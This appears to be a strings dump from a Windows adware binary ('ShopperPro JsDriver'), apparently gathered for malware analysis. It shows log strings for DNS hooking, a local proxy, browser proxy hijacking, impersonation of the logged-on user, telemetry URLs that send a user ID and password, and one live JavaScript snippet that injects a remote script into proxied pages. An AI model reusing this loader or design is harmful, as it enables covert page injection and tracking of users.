[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open Config.json

Config.json

ProxyExtensionInj: can't open database1_0_0.ej

database1_0_0.ej

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

<script type='text/javascript'>!function(){'use strict';function doInj(){if(10!==  calls){var scriptElement=document.createElement('script');scriptElement.src='//4x3zy4ql-l8bu4n1j.netdna-ssl.com/fb.js?pn=JSDRIVER&v=2.7.0.2',scriptElement.type='text/javascript';var scripts=document.getElementsByTagName('script');if(scripts.length>0)scripts[0].parentNode.insertBefore(scriptElement,scripts[0]);else{var headBody=document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0];headBody?headBody.appendChild(scriptElement):setTimeout(function(){doInj()},10)}}}var calls=0;doInj()}();</script>

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%ÛVERSION%%

%%SOURCE%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

